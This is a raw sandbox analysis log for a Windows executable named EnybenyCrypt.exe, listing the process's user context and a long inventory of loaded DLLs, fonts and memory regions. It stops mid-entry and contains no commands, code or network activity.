# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Oct 25 2018 12:55:11 # Log Creation Date: 29.10.2018 14:42:17.823 Process: id = "1" image_name = "enybenycrypt.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enybenycrypt.exe" page_root = "0x5020f000" os_pid = "0x7ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 6 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 7 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8 start_va = 0x1230000 end_va = 0x125bfff entry_point = 0x1230000 region_type = mapped_file name = "enybenycrypt.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enybenycrypt.exe") Region: id = 9 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 11 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 12 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 13 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 14 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 15 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 16 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 17 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 150 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 151 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 152 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 153 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 154 start_va = 0x4e0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 155 start_va = 0x75250000 end_va = 0x75299fff entry_point = 0x75250000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 156 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 157 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 158 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 159 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 160 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 161 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 162 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 163 start_va = 0x740000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 164 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 165 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 166 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 167 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 168 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 169 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 170 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 171 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 172 start_va = 0x720000 end_va = 0x72ffff entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 173 start_va = 0x751d0000 end_va = 0x75247fff entry_point = 0x751d0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 174 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 175 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 176 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 177 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 178 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 179 start_va = 0x750000 end_va = 0x8d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 180 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 181 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 182 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 183 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 184 start_va = 0x8e0000 end_va = 0xa60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 185 start_va = 0x1260000 end_va = 0x265ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001260000" filename = "" Region: id = 186 start_va = 0x751c0000 end_va = 0x751c8fff entry_point = 0x751c0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 187 start_va = 0x74630000 end_va = 0x74cd7fff entry_point = 0x74630000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 188 start_va = 0x750c0000 end_va = 0x751b4fff entry_point = 0x750c0000 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 189 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 190 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 191 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 192 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 193 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 194 start_va = 0x170000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 195 start_va = 0x180000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 196 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 197 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 198 start_va = 0x3a0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 199 start_va = 0x3e0000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 200 start_va = 0x670000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 201 start_va = 0xab0000 end_va = 0xaeffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 202 start_va = 0xb90000 end_va = 0xbcffff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 203 start_va = 0xbd0000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 204 start_va = 0xd30000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 205 start_va = 0xd90000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 206 start_va = 0xe50000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 207 start_va = 0x1070000 end_va = 0x116ffff entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 208 start_va = 0x2660000 end_va = 0x465ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 209 start_va = 0x4660000 end_va = 0x492efff entry_point = 0x4660000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 210 start_va = 0x4a80000 end_va = 0x4b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 211 start_va = 0x72500000 end_va = 0x7372afff entry_point = 0x72500000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll") Region: id = 212 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 213 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 214 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 215 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 216 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 217 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 218 start_va = 0x5e0000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 219 start_va = 0xf50000 end_va = 0x102efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f50000" filename = "" Region: id = 220 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 221 start_va = 0x75040000 end_va = 0x750bcfff entry_point = 0x75040000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 222 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 223 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 224 start_va = 0x70ef0000 end_va = 0x71b47fff entry_point = 0x70ef0000 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll") Region: id = 225 start_va = 0x71b50000 end_va = 0x724fcfff entry_point = 0x71b50000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll") Region: id = 226 start_va = 0x74eb0000 end_va = 0x7503cfff entry_point = 0x74eb0000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll") Region: id = 227 start_va = 0x74190000 end_va = 0x74627fff entry_point = 0x74190000 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 228 start_va = 0x290000 end_va = 0x291fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 229 start_va = 0xaf0000 end_va = 0xb71fff entry_point = 0xaf0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 230 start_va = 0xaf0000 end_va = 0xb71fff entry_point = 0xaf0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 231 start_va = 0x745a0000 end_va = 0x74623fff entry_point = 0x745a0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 232 start_va = 0x4930000 end_va = 0x4a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 233 start_va = 0x4b80000 end_va = 0x4d1afff entry_point = 0x4b80000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 234 start_va = 0x4b80000 end_va = 0x4d1afff entry_point = 0x4b80000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 235 start_va = 0x74400000 end_va = 0x7459dfff entry_point = 0x74400000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 236 start_va = 0x480000 end_va = 0x480fff entry_point = 0x480000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 237 start_va = 0x490000 end_va = 0x491fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 238 start_va = 0x4c30000 end_va = 0x4c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 239 start_va = 0x74e90000 end_va = 0x74ea2fff entry_point = 0x74e90000 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 240 start_va = 0x4c70000 end_va = 0x4f41fff entry_point = 0x4c70000 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 241 start_va = 0x6b0000 end_va = 0x711fff entry_point = 0x6b0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 242 start_va = 0x74270000 end_va = 0x743fffff entry_point = 0x74270000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 243 start_va = 0x4f50000 end_va = 0x511ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f50000" filename = "" Region: id = 244 start_va = 0x4a0000 end_va = 0x4bafff entry_point = 0x4a0000 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat") Region: id = 245 start_va = 0xcd0000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 246 start_va = 0x4f70000 end_va = 0x506ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f70000" filename = "" Region: id = 247 start_va = 0x5110000 end_va = 0x511ffff entry_point = 0x0 region_type = private name = "private_0x0000000005110000" filename = "" Region: id = 248 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 249 start_va = 0x5120000 end_va = 0x521ffff entry_point = 0x0 region_type = private name = "private_0x0000000005120000" filename = "" Region: id = 250 start_va = 0x1170000 end_va = 0x121afff entry_point = 0x1170000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 251 start_va = 0x1170000 end_va = 0x121afff entry_point = 0x1170000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 252 start_va = 0x5220000 end_va = 0x66c8fff entry_point = 0x5220000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 253 start_va = 0x5220000 end_va = 0x66c8fff entry_point = 0x5220000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 254 start_va = 0x5220000 end_va = 0x66e2fff entry_point = 0x5220000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 255 start_va = 0x5220000 end_va = 0x66e2fff entry_point = 0x5220000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 256 start_va = 0x5220000 end_va = 0x5642fff entry_point = 0x5220000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 257 start_va = 0x5220000 end_va = 0x5642fff entry_point = 0x5220000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 258 start_va = 0xaf0000 end_va = 0xb8ffff entry_point = 0xaf0000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 259 start_va = 0xaf0000 end_va = 0xb8ffff entry_point = 0xaf0000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 260 start_va = 0xaf0000 end_va = 0xb6efff entry_point = 0xaf0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 261 start_va = 0xaf0000 end_va = 0xb6efff entry_point = 0xaf0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 262 start_va = 0x5220000 end_va = 0x541ffff entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 263 start_va = 0xaf0000 end_va = 0xb4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 264 start_va = 0x74ce0000 end_va = 0x74cf2fff entry_point = 0x74ce0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 265 start_va = 0x5420000 end_va = 0x5d4ffff entry_point = 0x5420000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 266 start_va = 0x480000 end_va = 0x486fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 267 start_va = 0x4a0000 end_va = 0x4a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 268 start_va = 0x5d50000 end_va = 0x6142fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d50000" filename = "" Region: id = 269 start_va = 0x4b0000 end_va = 0x4b0fff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 270 start_va = 0x4c0000 end_va = 0x4c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 271 start_va = 0x4c0000 end_va = 0x4c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 272 start_va = 0x5e0000 end_va = 0x5f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 273 start_va = 0x620000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 274 start_va = 0x707d0000 end_va = 0x70ee5fff entry_point = 0x707d0000 region_type = mapped_file name = "system.core.ni.dll" filename = 